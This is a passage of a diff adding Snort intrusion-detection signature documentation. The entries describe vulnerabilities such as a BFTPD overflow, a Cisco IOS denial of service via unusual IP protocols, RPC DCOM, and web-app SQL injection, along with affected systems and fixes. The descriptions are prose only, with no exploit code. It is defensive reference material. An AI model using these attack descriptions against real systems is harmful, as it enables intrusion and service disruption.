+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other 
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1746.txt
+++ snort-2.8.5.2/doc/signatures/1746.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1746
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) cachefsd is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port cachefsd is using.  Attackers can also learn what versions of the cachefsd protocol are accepted by cachefsd.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as cachefsd run.  The cachefsd RPC service is used by Solaris hosts to cache requests for remote file systems mounted by the Network File System (NFS).  There is a vulnerability associated with cachefsd that may cause a buffer overflow, allowing an attacker to execute abitrary code with the privileges of cachefsd, possibly root. 
+
+--
+Affected Systems:
+Solaris 2.5.1, 2.6, 7, 8, 9 
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where cachefsd runs.  This may be a precursor to an attack to exploit the cachefsd buffer overflow.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+If a legitimate remote user is allowed to perform NFS mounts, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for cachefsd, not probes of the cachefsd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the cachefsd service itself. An attacker may attempt to go directly to the cachefsd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=can-2002-0084
+
+Bugtraq:
+http://www.securityfocus.com/bid/4674
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1562.txt
+++ snort-2.8.5.2/doc/signatures/1562.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1562
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow associated with BFTPD version 1.0.13.
+
+--
+Impact:
+Remote root access.  A successful attack can allow the remote execution of arbitrary commands with privileges of root.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a vulnerability associated with the FTP SITE CHOWN command of a BFTPD server 1.0.13. A buffer overflow attack can be executed by sending an overly long argument with the SITE CHOWN command.  This attack requires login access to the vulnerable server via an authenticated or anonymous user.
+
+--
+Affected Systems:
+Hosts running BFTPD version 1.0.13. 
+
+--
+Attack Scenarios:
+An attacker may login to a vulnerable FTP server and supply an overly long file argument with the SITE CHOWN command, causing a buffer overflow and allowing the execution of arbitrary commands as root.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Disable the use of the SITE command on the vulnerable server by configuring /etc/bftpd.conf with:
+  ENABLE_SITE=no
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0065
+
+--
--- snort-2.8.5.2.orig/doc/signatures/849.txt
+++ snort-2.8.5.2/doc/signatures/849.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+849
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2187.txt
+++ snort-2.8.5.2/doc/signatures/2187.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2187
+
+--
+Summary:
+This event is generated when a suspicious packet using an unusual 
+protocol is sent to a router.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in multiple Cisco IOS versions such that a Denial
+of Service condition can be issued against a device by sending multiple 
+packets using IP protocols 53, 55, 77 and 103 directly to that device.
+
+Cisco IOS processes these packets and under certain circumstances, can 
+be made to incorrectly flag an input interface as being full.
+
+--
+Affected Systems:
+Multiple versions of Cisco IOS.
+
+--
+Attack Scenarios:
+An attacker may send a large number of IP packets using one of the 
+protocols 53, 55, 77 or 103 directly to a router. Exploit code exists.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1771.txt
+++ snort-2.8.5.2/doc/signatures/1771.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1771
+
+--
+Summary:
+This event is generated when network traffic indicating the use of an
+application or service that may violate a corporate security policy.
+
+--
+Impact:
+This may be a violation of corporate policy since some applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation. In
+some instances this event may indicate behavior contrary to best
+security practices.
+
+--
+Detailed Information:
+This event may indicate a violation of corporate policy. It may also
+indicate the use of services or applications that may be the antithesis
+of best security practices.
+
+--
+Affected Systems:
+	All systems
+
+--
+Attack Scenarios:
+Violation of corporate security policy can manifest serious risk to
+company assets.
+
+--
+Ease of Attack:
+Not applicable
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure adherence to best security practices and strict adherence to
+corporate policy
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000472.txt
+++ snort-2.8.5.2/doc/signatures/100000472.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000472
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "show.php" with SQL commands being passed as the "MAINID" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "MAINID" parameter in the "show.php" script used by the 
+"VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000343.txt
+++ snort-2.8.5.2/doc/signatures/100000343.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000343
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "DoceboLMS" application running on a webserver. Access to the file "credits.php" using a remote file being passed as the "lang" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "lang" parameter in the "credits.php" script used by the "DoceboLMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using DoceboLMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1607.txt
+++ snort-2.8.5.2/doc/signatures/1607.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1607
+
+--
+Summary:
+This event is generated when an attempt is made to access hsx.cgi on a 
+web server. This may indicate an attempt to exploit a vulnerability in 
+the Hyperseek 2000 search engine that allows read-access to directory 
+listings and files.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event may indicate that an attempt has been made to exploit a 
+directory traversal vulnerability in HyperSeek 2000. An attacker can use
+directory traversal techniques to view hidden files and directories on 
+the web server.
+
+--
+Affected Systems:
+Web servers running iWeb Systems HyperSeek 2000 are vulnerable. 
+
+--
+Attack Scenarios:
+An attacker can use directory traversal techniques when executing 
+hsx.cgi to view directories and files on the web server.
+
+--
+Ease of Attack:
+Simple. Exploits exist. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Uprade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/2314
+
+CERT/CC
+http://www.kb.cert.org/vuls/id/146704
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0253
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=10602
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3204.txt
+++ snort-2.8.5.2/doc/signatures/3204.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3204
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2327.txt
+++ snort-2.8.5.2/doc/signatures/2327.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2327
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in BulletScript MailList CGI mailing list manager running on a server.
+
+--
+Impact:
+Information gathering and possible theft of user information.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in BulletScript MailList CGI mailing list manager running on a server.
+The script bsml.pl does not perform stringent checks when processing
+input supplied via the action parameter to the script.
+
+It may be possible for an attacker to compromise the integrity of the
+database containing information pertaining to users of the mailing list
+being managed.
+
+--
+Affected Systems:
+	All systems running BulletScript MailList.
+
+--
+Attack Scenarios:
+An attacker can supply input of their choosing using the action
+parameter.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/121-3.txt
+++ snort-2.8.5.2/doc/signatures/121-3.txt
@@ -0,0 +1,98 @@
+
+
+Rule:
+
+--
+Sid:
+121-3
+
+--
+Summary:
+This event is generated when the pre-processor flow-portscan detects
+network traffic that may constitute an attack. Specifically a fixed
+scale talker limit exceeded event was generated.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the flow-portscan pre-processor detects
+network traffic that may consititute an attack.
+
+The flow-portscan pre-processor uses a flow based technique to identify
+portscanning in one-to-many and many-to-one scenarios based on flow
+creation in the flow pre-processor.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.flow-portscan in the docs directory
+of the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+detailed instructions and examples on how to tune and use the
+pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Green <cmg@snort.org>
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-22.txt
+++ snort-2.8.5.2/doc/signatures/122-22.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-22
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+filtered decoy portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1491.txt
+++ snort-2.8.5.2/doc/signatures/1491.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1491
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in a php application. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in php applications.
+
+The attacker may be trying to gain information on the php implementation on the host, this may be the prelude to an attack against that host using that information.
+
+--
+Affected Systems:
+Any host using php.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the php application on the host. The attacker might then gain administrator access to the site or database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1258.txt
+++ snort-2.8.5.2/doc/signatures/1258.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1258
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/797.txt
+++ snort-2.8.5.2/doc/signatures/797.txt
@@ -0,0 +1,62 @@
+
+Rule:  
+
+--
+Sid:
+797
+
+--
+Summary:
+This rule has been placed in deleted.rules. It has been superceded by
+sid 721.
+
+--
+Impact:
+Mail worms may spread rapidly because users execute them.
+
+--
+Detailed Information:
+Windows systems are often configured not to display file extensions.
+By adding a second extension, users get confused and think that an
+executable is a picture - e.g. niceboy.jpg.vbs gets displayed as
+nicegboy.jpg but is a visual basic script and not a picture.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Famous worms (ILOVEYOU, KOURNIKOVA) are based on this method.
+
+--
+Ease of Attack:
+Very easy. One needs to attach a file and hope that it gets executed.
+
+--
+False Positives:
+None Known
+Could be an error on sender's side.
+
+--
+False Negatives:
+None Known
+-
+
+--
+Corrective Action:
+Use antivirus software. Configure mail clients securely, especially when
+using windows desktops. Educate your mail users. Deny all attachments at
+the gateway if you can.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by tobias.haecker@to.com
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+See websites of antivirus companies.
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3005.txt
+++ snort-2.8.5.2/doc/signatures/3005.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+3005
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1075.txt
+++ snort-2.8.5.2/doc/signatures/1075.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 1075
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000475.txt
+++ snort-2.8.5.2/doc/signatures/100000475.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000475
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "meaning.php" with SQL commands being passed as the "ShowByQuranID" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "ShowByQuranID" parameter in the "meaning.php" script 
+used by the "VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2439.txt
+++ snort-2.8.5.2/doc/signatures/2439.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2439
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Real Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
